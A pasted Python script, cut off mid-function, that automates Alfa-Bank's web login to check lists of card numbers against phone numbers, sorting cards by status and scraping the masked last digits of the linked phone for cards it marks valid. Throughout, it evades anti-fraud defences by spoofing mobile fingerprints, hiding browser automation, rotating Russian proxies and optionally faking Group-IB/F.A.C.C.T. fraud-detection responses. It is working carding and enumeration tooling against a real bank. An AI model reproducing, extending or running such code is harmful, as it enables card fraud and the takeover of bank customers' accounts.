https://pastein.ru/t/t_B
Загрузка данных
import json
import os
import random
import re
import ssl
import asyncio
import signal
import logging
from datetime import datetime
from pathlib import Path
from typing import Optional, List, Tuple
from urllib.parse import urlparse
ssl._create_default_https_context = ssl._create_unverified_context
import colorama
from colorama import Fore, Style
colorama.init()
logging.basicConfig(level=logging.CRITICAL)
for noisy in ("urllib3", "playwright", "asyncio"):
logging.getLogger(noisy).setLevel(logging.CRITICAL)
from patchright.async_api import (
async_playwright,
Browser,
BrowserContext,
Page,
TimeoutError as PWTimeoutError,
Error as PWError,
)
from dotenv import load_dotenv
load_dotenv()
THREADS = 1
WAIT_TIMEOUT_MS = 12_000
NAV_TIMEOUT_MS = 30_000
HEADLESS = False
WORKER_START_DELAY = 0.3
MAX_ATTEMPTS = 5
POST_CLICK_TIMEOUT_MS = 10_000
INTER_CHECK_DELAY = (0.1, 0.2)
TYPING_DELAY_MS = (8, 15)
VERBOSE_ERRORS = True
VERIFY_PROXY = False
PROXY_GEO_URL = "https://ipinfo.io/json"
REQUIRED_COUNTRY = "RU"
COLLECT_HAR = False
HAR_DIR = os.path.join(os.getcwd(), "har")
MOCK_GROUPIB = False
PROBE_GROUPIB = False
GROUPIB_PROBE_URL = "https://groupib-ac.alfabank.ru/group-ib/idw-alfabank-retail"
LOG_XHR = False
TARGET_URL = os.environ.get(
"TARGET",
"https://private.auth.alfabank.ru/passport/cerberus-mini-blue/dashboard-blue/phone_auth?response_type=code&client_id=newclick-web&scope=openid%20newclick-web&redirect_uri=https%3A%2F%2Fweb.alfabank.ru%2Fopenid%2Fauthorize%2Fnewclick-web%3Fredirect_to%3Dhttps___web.alfabank.ru%2F&acr_values=phone_auth:sms&non_authorized_user=true",
)
BASE_DIR = os.getcwd()
RESULTS_DIR = os.path.join(BASE_DIR, "results")
os.makedirs(RESULTS_DIR, exist_ok=True)
FINGERPRINTS_FILE = os.path.join(BASE_DIR, "fingerprints_pool.json")
try:
with open(FINGERPRINTS_FILE, encoding="utf-8") as fp_file:
FINGERPRINTS: list[dict] = json.load(fp_file)
if not isinstance(FINGERPRINTS, list):
FINGERPRINTS = []
except Exception:
FINGERPRINTS = []
MOBILE_PROFILES: list[dict] = [
{
"name": "Pixel 8",
"ua": "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 412, "height": 915},
"dsf": 2.625,
"sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
"sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"14.0.0"',
"sec_ch_ua_model": '"Pixel 8"',
"hardware_concurrency": 8,
"device_memory": 8,
"max_touch_points": 5,
},
{
"name": "Pixel 7",
"ua": "Mozilla/5.0 (Linux; Android 14; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 412, "height": 915},
"dsf": 2.625,
"sec_ch_ua": '"Chromium";v="130", "Google Chrome";v="130", "Not_A Brand";v="99"',
"sec_ch_ua_full_version_list": '"Chromium";v="130.0.6723.103", "Google Chrome";v="130.0.6723.103", "Not_A Brand";v="99.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"14.0.0"',
"sec_ch_ua_model": '"Pixel 7"',
"hardware_concurrency": 8,
"device_memory": 8,
"max_touch_points": 5,
},
{
"name": "Galaxy S23",
"ua": "Mozilla/5.0 (Linux; Android 14; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 360, "height": 780},
"dsf": 3,
"sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
"sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"14.0.0"',
"sec_ch_ua_model": '"SM-S911B"',
"hardware_concurrency": 8,
"device_memory": 8,
"max_touch_points": 10,
},
{
"name": "Galaxy S22",
"ua": "Mozilla/5.0 (Linux; Android 13; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 360, "height": 780},
"dsf": 3,
"sec_ch_ua": '"Chromium";v="130", "Google Chrome";v="130", "Not_A Brand";v="99"',
"sec_ch_ua_full_version_list": '"Chromium";v="130.0.6723.103", "Google Chrome";v="130.0.6723.103", "Not_A Brand";v="99.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"13.0.0"',
"sec_ch_ua_model": '"SM-S901B"',
"hardware_concurrency": 8,
"device_memory": 8,
"max_touch_points": 10,
},
{
"name": "OnePlus 11",
"ua": "Mozilla/5.0 (Linux; Android 14; CPH2449) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 412, "height": 915},
"dsf": 3.5,
"sec_ch_ua": '"Chromium";v="129", "Google Chrome";v="129", "Not=A?Brand";v="8"',
"sec_ch_ua_full_version_list": '"Chromium";v="129.0.6668.100", "Google Chrome";v="129.0.6668.100", "Not=A?Brand";v="8.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"14.0.0"',
"sec_ch_ua_model": '"CPH2449"',
"hardware_concurrency": 8,
"device_memory": 12,
"max_touch_points": 10,
},
{
"name": "Xiaomi 13",
"ua": "Mozilla/5.0 (Linux; Android 14; 2211133G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Mobile Safari/537.36",
"viewport": {"width": 393, "height": 873},
"dsf": 2.75,
"sec_ch_ua": '"Chromium";v="131", "Google Chrome";v="131", "Not_A Brand";v="24"',
"sec_ch_ua_full_version_list": '"Chromium";v="131.0.6778.85", "Google Chrome";v="131.0.6778.85", "Not_A Brand";v="24.0.0.0"',
"sec_ch_ua_platform": '"Android"',
"sec_ch_ua_platform_version": '"14.0.0"',
"sec_ch_ua_model": '"2211133G"',
"hardware_concurrency": 8,
"device_memory": 8,
"max_touch_points": 10,
},
]
RU_TIMEZONES = [
"Europe/Moscow", "Europe/Samara", "Asia/Yekaterinburg", "Asia/Omsk",
"Asia/Novosibirsk", "Asia/Krasnoyarsk", "Asia/Irkutsk", "Asia/Vladivostok",
]
SAFE_FP_HEADERS = {
"accept_language": "Accept-Language",
"sec_gpc": "Sec-GPC",
}
def pick_fingerprint() -> Optional[dict]:
return random.choice(FINGERPRINTS) if FINGERPRINTS else None
def pick_mobile_profile() -> dict:
return random.choice(MOBILE_PROFILES)
def pick_timezone() -> str:
return random.choice(RU_TIMEZONES)
def build_headers(device: dict, fp: Optional[dict]) -> dict[str, str]:
headers: dict[str, str] = {
"sec-ch-ua": device["sec_ch_ua"],
"sec-ch-ua-mobile": "?1",
"sec-ch-ua-platform": device["sec_ch_ua_platform"],
"sec-ch-ua-platform-version": device["sec_ch_ua_platform_version"],
"sec-ch-ua-full-version-list": device["sec_ch_ua_full_version_list"],
"sec-ch-ua-model": device["sec_ch_ua_model"],
}
if fp:
for key, header_name in SAFE_FP_HEADERS.items():
v = fp.get(key)
if v not in (None, ""):
headers[header_name] = str(v)
dnt = fp.get("dnt")
if dnt is not None:
headers["DNT"] = "1" if str(dnt).lower() in ("1", "true") else "0"
headers.setdefault("Accept-Language", "ru-RU,ru;q=0.9,en;q=0.8")
return headers
def parse_proxy(proxy_url: Optional[str]) -> Optional[dict]:
if not proxy_url:
return None
p = urlparse(proxy_url)
if not (p.hostname and p.port):
return None
scheme = p.scheme or "http"
server = f"{scheme}://{p.hostname}:{p.port}"
out = {"server": server}
if p.username:
out["username"] = p.username
if p.password:
out["password"] = p.password
return out
SUPPORTED_SCHEMES = ("http://", "https://", "socks5://", "socks5h://", "socks4://", "socks4a://")
def format_proxy(line: str) -> str:
raw = line.strip()
if not raw:
return raw
scheme = "http://"
rest = raw
for s in SUPPORTED_SCHEMES:
if rest.lower().startswith(s):
scheme = rest[: len(s)].lower()
rest = rest[len(s):]
break
creds = ""
hostpart = rest
if "@" in rest:
creds, _, hostpart = rest.rpartition("@")
parts = [p for p in hostpart.split(":") if p != ""]
if creds:
cparts = creds.split(":", 1)
user = cparts[0]
passw = cparts[1] if len(cparts) > 1 else ""
if len(parts) >= 2:
host, port = parts[0], parts[1]
return f"{scheme}{user}:{passw}@{host}:{port}"
return f"{scheme}{creds}@{hostpart}"
if len(parts) == 2:
host, port = parts
return f"{scheme}{host}:{port}"
if len(parts) == 4:
a, b, c, d = parts
if a.isdigit() is False and b.isdigit() is False:
user, passw, host, port = a, b, c, d
elif c.isdigit() is False and d.isdigit() is False:
host, port, user, passw = a, b, c, d
elif b.isdigit() and not d.isdigit():
host, port, user, passw = a, b, c, d
else:
user, passw, host, port = a, b, c, d
return f"{scheme}{user}:{passw}@{host}:{port}"
if len(parts) == 3:
host, port, extra = parts
return f"{scheme}{host}:{port}:{extra}"
return raw
def load_lines(filename: str) -> list[str]:
path = Path(filename)
if not path.exists():
return []
return [l.strip() for l in path.read_text(encoding="utf-8").splitlines() if l.strip()]
def load_proxies() -> list[str]:
return [format_proxy(l) for l in load_lines("proxy.txt") if not l.startswith("#")]
def load_phones() -> list[str]:
result = []
for num in load_lines("phones.txt"):
d = re.sub(r"\D", "", num)
if len(d) < 10:
continue
if d.startswith("8"):
d = "7" + d[1:]
if not d.startswith("7"):
d = "7" + d
result.append("+" + d[:11])
return result
def extract_cards(line: str) -> List[Tuple[str, str]]:
seen = set()
result = []
for c in re.findall(r"\d{16}", re.sub(r"[\s\-]", "", line)):
if c not in seen:
seen.add(c)
result.append((c, line))
return result
def load_tasks() -> List[Tuple[str, str]]:
tasks = []
for line in load_lines("strock.txt"):
tasks.extend(extract_cards(line))
return tasks
def load_checked() -> set:
checked = set()
for fn in ("valid.txt", "НВ.txt", "ПБ.txt", "errors.txt"):
p = os.path.join(RESULTS_DIR, fn)
if not os.path.exists(p):
continue
with open(p, encoding="utf-8") as f:
for line in f:
m = re.search(r"\d{16}", line)
if m:
checked.add(m.group())
return checked
file_lock = asyncio.Lock()
print_lock = asyncio.Lock()
class Stats:
__slots__ = ("_lock", "valid", "nv", "pb", "errors", "total", "all", "start_time")
def __init__(self):
self._lock = asyncio.Lock()
self.valid = self.nv = self.pb = self.errors = self.total = self.all = 0
self.start_time: Optional[datetime] = None
async def inc(self, kind: str):
async with self._lock:
if kind == "valid": self.valid += 1
elif kind == "nv": self.nv += 1
elif kind == "pb": self.pb += 1
else: self.errors += 1
self.total += 1
@property
async def speed(self) -> int:
if not self.start_time:
return 0
elapsed = (datetime.now() - self.start_time).total_seconds()
return round(self.total / elapsed * 60) if elapsed >= 1 else 0
@property
async def progress(self) -> str:
if self.all == 0:
return ""
async with self._lock:
pct = int(self.total / self.all * 100)
spd = await self.speed
return f"{Style.DIM}[{self.total}/{self.all}] {pct}% ~{spd}/мин{Style.RESET_ALL}"
async def update_title(self):
try:
import ctypes
async with self._lock:
ctypes.windll.kernel32.SetConsoleTitleW(
f"Alfa Card | V:{self.valid} НВ:{self.nv} ПБ:{self.pb} ERR:{self.errors} | {self.total}/{self.all}"
)
except (AttributeError, OSError):
pass
stats = Stats()
def ts() -> str:
return datetime.now().strftime("%H:%M:%S")
async def _append(filename: str, text: str):
async with file_lock:
with open(os.path.join(RESULTS_DIR, filename), "a", encoding="utf-8") as f:
f.write(f"{text}\n")
async def log_valid(last4: str, card: str, line: str):
await stats.inc("valid")
await stats.update_title()
async with print_lock:
print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL} {Style.BRIGHT}{Fore.GREEN}VALID *{last4}{Style.RESET_ALL} {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL} {Fore.WHITE}{line[:80]}{Style.RESET_ALL} {await stats.progress}")
await _append("valid.txt", f"{last4} {line}")
async def log_nv(card: str, line: str):
await stats.inc("nv")
await stats.update_title()
async with print_lock:
print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL} {Style.BRIGHT}{Fore.RED}НВ{Style.RESET_ALL} {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL} {Fore.WHITE}{line[:80]}{Style.RESET_ALL} {await stats.progress}")
await _append("НВ.txt", f"НВ - {line}")
async def log_pb(card: str, line: str):
await stats.inc("pb")
await stats.update_title()
async with print_lock:
print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL} {Style.BRIGHT}{Fore.YELLOW}ПБ{Style.RESET_ALL} {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL} {Fore.WHITE}{line[:80]}{Style.RESET_ALL} {await stats.progress}")
await _append("ПБ.txt", line)
async def log_error(card: str, line: str, reason: str):
await stats.inc("error")
await stats.update_title()
async with print_lock:
print(f"{Style.DIM}[{ts()}]{Style.RESET_ALL} {Style.BRIGHT}{Fore.LIGHTBLACK_EX}ERR{Style.RESET_ALL} {Fore.CYAN}{card[:4]}...{card[-4:]}{Style.RESET_ALL} {Style.DIM}{reason}{Style.RESET_ALL} {await stats.progress}")
await _append("errors.txt", f"{line} | {reason}")
def next_har_path(worker_id: int) -> Optional[str]:
if not COLLECT_HAR:
return None
os.makedirs(HAR_DIR, exist_ok=True)
fname = f"w{worker_id}_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{random.randint(0, 9999):04d}.har"
return os.path.join(HAR_DIR, fname)
async def new_context(
browser: Browser,
proxy: Optional[str],
fp: Optional[dict],
worker_id: int,
) -> tuple[BrowserContext, Page]:
device = pick_mobile_profile()
timezone_id = pick_timezone()
locale = "ru-RU"
if fp and fp.get("accept_language"):
locale = str(fp["accept_language"]).split(",")[0].strip() or "ru-RU"
base_vp = device["viewport"]
viewport = {
"width": base_vp["width"],
"height": base_vp["height"] + random.choice((-12, -6, 0, 6, 12)),
}
kwargs: dict = {
"locale": locale,
"timezone_id": timezone_id,
"viewport": viewport,
"screen": viewport,
"device_scale_factor": device["dsf"],
"is_mobile": True,
"has_touch": True,
"user_agent": device["ua"],
"color_scheme": random.choice(("light", "dark")),
"reduced_motion": random.choice(("no-preference", "reduce")),
"extra_http_headers": build_headers(device, fp),
}
proxy_cfg = parse_proxy(proxy)
if proxy_cfg:
kwargs["proxy"] = proxy_cfg
har_path = next_har_path(worker_id)
if har_path:
kwargs["record_har_path"] = har_path
kwargs["record_har_content"] = "embed"
kwargs["record_har_mode"] = "full"
context = await browser.new_context(**kwargs)
await context.add_init_script(
f"""(() => {{
try {{ Object.defineProperty(navigator, 'hardwareConcurrency', {{ get: () => {device['hardware_concurrency']} }}); }} catch (_) {{}}
try {{ Object.defineProperty(navigator, 'deviceMemory', {{ get: () => {device['device_memory']} }}); }} catch (_) {{}}
try {{ Object.defineProperty(navigator, 'maxTouchPoints', {{ get: () => {device['max_touch_points']} }}); }} catch (_) {{}}
try {{ Object.defineProperty(navigator, 'platform', {{ get: () => 'Linux armv81' }}); }} catch (_) {{}}
try {{ Object.defineProperty(navigator, 'vendor', {{ get: () => 'Google Inc.' }}); }} catch (_) {{}}
try {{ Object.defineProperty(navigator, 'webdriver', {{ get: () => false }}); }} catch (_) {{}}
}})();"""
)
if MOCK_GROUPIB:
async def mock_gib(route):
try:
await route.fulfill(
status=200,
headers={
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Credentials": "true",
"Access-Control-Allow-Methods": "GET,POST,OPTIONS",
"Access-Control-Allow-Headers": "*",
"Content-Type": "application/json",
},
body="{}",
)
except Exception:
try:
await route.continue_()
except Exception:
pass
await context.route("**/groupib-ac.alfabank.ru/**", mock_gib)
await context.route("**/id.facct.ru/**", mock_gib)
context.set_default_timeout(WAIT_TIMEOUT_MS)
context.set_default_navigation_timeout(NAV_TIMEOUT_MS)
page = await context.new_page()
if VERBOSE_ERRORS:
async with print_lock:
print(
f"{Style.DIM}[worker {worker_id}] профиль: {device['name']} "
f"{viewport['width']}x{viewport['height']} @ {device['dsf']}x, tz={timezone_id}{Style.RESET_ALL}"
)
return context, page
async def safe_close_context(context: Optional[BrowserContext]):
if context is not None:
try:
await context.close()
except Exception:
pass
async def reset_context_session(context: BrowserContext, page: Optional[Page]):
try:
await context.clear_cookies()
except Exception:
pass
try:
await context.clear_permissions()
except Exception:
pass
if page is None:
return
try:
await page.evaluate(
"""() => {
try { localStorage.clear(); } catch (_) {}
try { sessionStorage.clear(); } catch (_) {}
try {
if (window.indexedDB && indexedDB.databases) {
indexedDB.databases().then(dbs => {
(dbs || []).forEach(d => { try { indexedDB.deleteDatabase(d.name); } catch (_) {} });
}).catch(() => {});
}
} catch (_) {}
try {
if (navigator.serviceWorker && navigator.serviceWorker.getRegistrations) {
navigator.serviceWorker.getRegistrations().then(rs => {
rs.forEach(r => { try { r.unregister(); } catch (_) {} });
}).catch(() => {});
}
} catch (_) {}
try {
if (window.caches && caches.keys) {
caches.keys().then(keys => {
keys.forEach(k => { try { caches.delete(k); } catch (_) {} });
}).catch(() => {});
}
} catch (_) {}
}"""
)
except Exception:
pass
async def verify_proxy(context: BrowserContext) -> tuple[bool, str]:
try:
resp = await context.request.get(PROXY_GEO_URL, timeout=10_000)
if not resp.ok:
return False, f"HTTP {resp.status}"
data = await resp.json()
ip = data.get("ip", "?")
country = (data.get("country") or "").upper()
org = data.get("org", "")
info = f"{ip} [{country}] {org}".strip()
if REQUIRED_COUNTRY and country != REQUIRED_COUNTRY.upper():
return False, f"не {REQUIRED_COUNTRY}: {info}"
return True, info
except Exception as e:
return False, f"{type(e).__name__}: {str(e).splitlines()[0][:100]}"
async def dismiss_incognito(page: Page):
for _ in range(3):
try:
for sel in ['text=Продолжить с ограничениями', 'button:has-text("Продолжить с ограничениями")']:
btn = page.locator(sel).first
if await btn.is_visible(timeout=500):
await btn.click()
await asyncio.sleep(0.5)
return True
except Exception:
pass
try:
ok = await page.evaluate("""() => {
for(const b of document.querySelectorAll('button, a, div[role=button]')) {
if((b.innerText||'').includes('Продолжить с ограничениями')) { b.click(); return true; }
}
return false;
}""")
if ok:
await asyncio.sleep(0.5)
return True
except Exception:
pass
return False
async def get_sms_last4(page: Page) -> str:
try:
texts = await page.evaluate("""() => {
const res = [];
for (const e of document.querySelectorAll('*')) {
if (e.children.length === 0 && e.textContent) {
const t = e.textContent.trim();
if (t.includes('Отправили') || t.includes('•••') || t.includes('***')) res.push(t);
}
}
return res;
}""")
for text in texts:
clean = text.replace("\xa0", " ").replace("\u2022", "*").replace("\u00b7", "*")
m = re.search(r"(?:\+7)?.*?(?:\*|-){3,}[^\d]{0,10}(\d{2})[\s\-]*(\d{2})(?!\d)", clean)
if m:
return m.group(1) + m.group(2)
m = re.search(r"(?:\+7)?.*?(?:\*|-){3,}[^\d]{0,10}(\d{4})(?!\d)", clean)
if m:
return m.group(1)
except Exception:
pass
return "0000"
async def wait_for_valid_last4(page: Page) -> Tuple[str, Optional[str]]:
for _ in range(10):
await asyncio.sleep(0.5)
last4 = await get_sms_last4(page)
if last4 != "0000":
return "valid", last4
return "valid", "0000"
def detect_state(text: str, url: str) -> Optional[str]:
if "Не получилось войти" in text and ("Попробуйте ещё раз сейчас или позже" in text or "Если ошибка повторится" in text):
return "blocked"
if any(k in text for k in ("Access Denied", "Слишком много попыток", "Подозрительная активность")):
return "blocked"
if any(k in text for k in (
"Не получилось войти", "Пользователь не найден",
"Вход в банк недоступен", "Защищаем ваши деньги",
"Позвоните нам", "Позвонить в банк"
)):
return "nv"
if any(k in text for k in ("Проверка безопасности", "Необходимо пройти проверку безопасности", "group-ib", "facct")) or any(k in urlparse(url).path for k in ("/group-ib", "/facct")):
return "pb"
if any(k in text for k in ("Введите код из сообщения", "Введите код", "Код отправлен", "Введите пароль")) or any(k in urlparse(url).path for k in ("/password_auth", "/code")):
return "valid"
return None
def url_path(url: str) -> str:
return urlparse(url).path
async def handle_code_or_other_method(page: Page, wid: int) -> bool:
card_input_count = await page.locator('[data-test-id="card-input"], input[aria-label*="арт"]').count()
if card_input_count > 0:
return False
try:
body_text = await page.locator("body").inner_text(timeout=2_000)
body_lower = body_text.lower()
except Exception:
return False
if any(word in body_lower for word in ("номер карты", "номер вашей карты")):
return False
code_requested = any(ind in body_text for ind in ("Введите код", "Код отправлен", "Подтверждение"))
other_method_visible = "Войти другим способом" in body_text
if not code_requested and not other_method_visible:
return False
if other_method_visible:
for sel in [
"//button[contains(.,'Войти другим способом')]",
"//a[contains(.,'Войти другим способом')]",
"//*[contains(.,'Войти другим способом') and (self::button or self::a)]",
]:
try:
btn = page.locator(sel).first
await btn.wait_for(state="visible", timeout=5_000)
await btn.click()
await asyncio.sleep(random.uniform(0.5, 1.0))
break
except Exception:
continue
else:
try:
await page.evaluate("""() => {
for(const el of document.querySelectorAll('button, a, [role=button]')) {
if((el.innerText||'').includes('Войти другим способом')){el.click();return true;}
}
return false;
}""")
await asyncio.sleep(1.0)
except Exception:
pass
for _ in range(3):
await asyncio.sleep(1.0)
try:
body_text = await page.locator("body").inner_text(timeout=3_000)
except Exception:
continue
if "Номер карты" in body_text:
for sel in [
"//*[contains(.,'Номер карты') and (self::button or self::a or self::div or self::li)]",
"//button[contains(.,'Номер карты')]",
"//a[contains(.,'Номер карты')]",
]:
try:
opt = page.locator(sel).first
await opt.wait_for(state="visible", timeout=5_000)
await opt.click()
await asyncio.sleep(random.uniform(0.5, 1.0))
return True
except Exception:
continue
try:
await page.evaluate("""() => {
for(const el of document.querySelectorAll('button, a, [role=button], li, div')) {
if((el.innerText||'').includes('Номер карты')){el.click();return true;}
}
return false;
}""")
await asyncio.sleep(1.0)
return True
except Exception:
pass
return False
async def check_card(page: Page, phone: str, card: str, stop_flag: list, worker_id: int = 0) -> Tuple[str, Optional[str]]:
if stop_flag[0]:
return "skip", None
retried = False
block_retry_used = False
async def setup_api_monitor(page: Page):
async def on_response(resp):
try:
if resp.request.resource_type not in ("xhr", "fetch"):
return
url = resp.url
if not any(k in url for k in ("cerberus", "checkLogin", "passport")):
return
status = resp.status
body_text = None
try:
body_text = await resp.text()
except Exception:
pass
if status != 200:
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] API RESP {status} {url}: {body_text[:500] if body_text else 'no body'}{Style.RESET_ALL}")
if body_text and "application/json" in (resp.headers.get("content-type", "")):
try:
j = json.loads(body_text)
if any(k in j for k in ("error", "message")) or j.get("status") == "fail":
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] API FAIL {url}: {body_text[:500]}{Style.RESET_ALL}")
except Exception:
pass
except Exception:
pass
page.on("response", lambda resp: asyncio.create_task(on_response(resp)))
await setup_api_monitor(page)
await page.goto(TARGET_URL, wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
await page.wait_for_timeout(random.randint(1000, 1500))
await dismiss_incognito(page)
try:
body0 = await page.locator("body").inner_text(timeout=3_000)
except Exception:
body0 = ""
st0 = detect_state(body0, page.url)
if st0:
if st0 == "valid":
return await wait_for_valid_last4(page)
if st0 == "pb":
return "pb", None
if st0 == "nv":
return "nv", None
return "blocked", None
phone_loc = page.locator('input[autocomplete="tel"]').first
try:
await phone_loc.wait_for(state="visible", timeout=WAIT_TIMEOUT_MS)
except PWTimeoutError:
return "blocked", None
await phone_loc.click()
await asyncio.sleep(0.05)
await phone_loc.fill("")
await asyncio.sleep(0.05)
await phone_loc.fill(phone)
await asyncio.sleep(0.1)
await dismiss_incognito(page)
fwd = page.locator('button:has-text("Вперёд")').first
try:
await fwd.wait_for(state="visible", timeout=3_000)
await fwd.click()
except Exception:
fwd = page.locator('button[type="submit"]').first
try:
await fwd.wait_for(state="visible", timeout=3_000)
await fwd.click()
except Exception:
await phone_loc.press("Enter")
await asyncio.sleep(0.5)
await dismiss_incognito(page)
await asyncio.sleep(1.5)
await dismiss_incognito(page)
if await handle_code_or_other_method(page, worker_id):
await asyncio.sleep(random.uniform(0.5, 1.0))
body, _ = await page.locator("body").inner_text(), page.url
st = detect_state(body, page.url)
if st:
return (await wait_for_valid_last4(page)) if st == "valid" else (st, None)
path = url_path(page.url)
if "phone_auth" in path:
await phone_loc.press("Enter")
await asyncio.sleep(2.0)
await dismiss_incognito(page)
path = url_path(page.url)
if "phone_auth" in path:
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] повторный Enter не помог, перезагружаем страницу{Style.RESET_ALL}")
try:
await page.reload(wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
except Exception:
return "blocked", None
await page.wait_for_timeout(random.randint(1000, 1500))
await dismiss_incognito(page)
await phone_loc.wait_for(state="visible", timeout=WAIT_TIMEOUT_MS)
await phone_loc.click()
await phone_loc.fill("")
await phone_loc.fill(phone)
await asyncio.sleep(0.1)
await dismiss_incognito(page)
fwd = page.locator('button:has-text("Вперёд")').first
try:
await fwd.wait_for(state="visible", timeout=3_000)
await fwd.click()
except Exception:
fwd = page.locator('button[type="submit"]').first
try:
await fwd.wait_for(state="visible", timeout=3_000)
await fwd.click()
except Exception:
await phone_loc.press("Enter")
await asyncio.sleep(0.5)
await dismiss_incognito(page)
await asyncio.sleep(1.5)
await dismiss_incognito(page)
if await handle_code_or_other_method(page, worker_id):
await asyncio.sleep(random.uniform(0.5, 1.0))
body, _ = await page.locator("body").inner_text(), page.url
st = detect_state(body, page.url)
if st:
return (await wait_for_valid_last4(page)) if st == "valid" else (st, None)
path = url_path(page.url)
if any(x in path for x in ("card_account", "card_auth")):
pass
else:
body1 = await page.locator("body").inner_text(timeout=3_000)
st1 = detect_state(body1, page.url)
if st1:
if st1 == "valid":
return await wait_for_valid_last4(page)
if st1 == "pb":
return "pb", None
if st1 == "nv":
return "nv", None
return "blocked", None
await asyncio.sleep(0.2)
card_loc = page.locator('input[aria-label="Номер карты"]').first
try:
await card_loc.wait_for(state="visible", timeout=8_000)
except Exception:
card_loc = page.locator('input[type="text"]').first
try:
await card_loc.wait_for(state="visible", timeout=4_000)
except Exception:
return "blocked", None
await card_loc.click()
await asyncio.sleep(0.05)
await card_loc.fill("")
await asyncio.sleep(0.05)
for ch in card:
if stop_flag[0]:
return "skip", None
await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
await asyncio.sleep(0.5)
try:
val = await card_loc.input_value()
digits_only = re.sub(r"\D", "", val)
if len(digits_only) != 16:
await card_loc.fill("")
for ch in card:
if stop_flag[0]:
return "skip", None
await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
await asyncio.sleep(0.5)
except Exception:
pass
btn = page.locator('button:has-text("Продолжить")').first
try:
await btn.wait_for(state="visible", timeout=5_000)
except Exception:
await card_loc.press("Enter")
btn = None
if btn is not None:
for _ in range(10):
try:
is_disabled = await btn.evaluate("b => b.disabled")
if not is_disabled:
break
except Exception:
pass
await asyncio.sleep(0.3)
try:
await btn.click()
except Exception:
await card_loc.press("Enter")
for _ in range(16):
await asyncio.sleep(0.5)
await dismiss_incognito(page)
try:
body = await page.locator("body").inner_text(timeout=3_000)
except Exception:
body = ""
url = page.url
st = detect_state(body, url)
if st == "valid":
return await wait_for_valid_last4(page)
if st == "pb":
return "pb", None
if st == "nv":
return "nv", None
if st == "blocked":
return "blocked", None
btn = page.locator('button:has-text("Продолжить")').first
if await btn.is_visible(timeout=1000):
try:
await btn.click()
except Exception:
await card_loc.press("Enter")
await asyncio.sleep(2.0)
for _ in range(8):
await asyncio.sleep(0.5)
try:
body = await page.locator("body").inner_text(timeout=2_000)
except Exception:
body = ""
st = detect_state(body, page.url)
if st:
if st == "valid":
return await wait_for_valid_last4(page)
return st, None
if VERBOSE_ERRORS:
async with print_lock:
print(f"{Style.DIM}[worker {worker_id}] кнопка Продолжить всё ещё видна, перезагружаем страницу{Style.RESET_ALL}")
try:
await page.reload(wait_until="networkidle", timeout=NAV_TIMEOUT_MS)
except Exception:
return "blocked", None
await page.wait_for_timeout(random.randint(1000, 1500))
await dismiss_incognito(page)
card_loc = page.locator('input[aria-label="Номер карты"]').first
try:
await card_loc.wait_for(state="visible", timeout=8_000)
except Exception:
card_loc = page.locator('input[type="text"]').first
try:
await card_loc.wait_for(state="visible", timeout=4_000)
except Exception:
return "blocked", None
await card_loc.click()
await card_loc.fill("")
for ch in card:
if stop_flag[0]:
return "skip", None
await card_loc.type(ch, delay=random.randint(*TYPING_DELAY_MS))
await asyncio.sleep(0.5)
btn = page.locator('button:has-text("Продолжить")').first
try:
await btn.wait_for(state="visible", timeout=5_000)
except Exception:
await card_loc.press("Enter")
btn = None
if btn is not None:
for _ in range(10):
try:
is_disabled = await btn.evaluate("b => b.disabled")
if not is_disabled:
break
except Exception:
pass
await asyncio.sleep(0.3)
try:
await btn.click()
except Exception:
await card_loc.press("Enter")
for _ in range(16):
await asyncio.sleep(0.5)
try:
body = await page.locator("body").inner_text(timeout=3_000)
except Exception:
body = ""
st = detect_state(body, page.url)
if st:
if st == "valid":
return await wait_for_valid_last4(page)
return st, None
return "blocked", None
async def worker(worker_id: int, browser: Browser, queue: asyncio.Queue, proxies: list[str], phones: list[str], stop_flag: list):
proxy_pool = proxies.copy()
while not stop_flag[0]:
try:
card, line = queue.get_nowait()
except asyncio.QueueEmpty:
break
cs = f"{card[:4]}...{card[-4:]}"
success = False
for attempt in range(1, MAX_ATTEMPTS + 1):
if stop_flag[0]:
return
phone = random.choice(phones)
context = None
page = None
try:
if not proxy_pool:
break
proxy = random.choice(proxy_pool)
try:
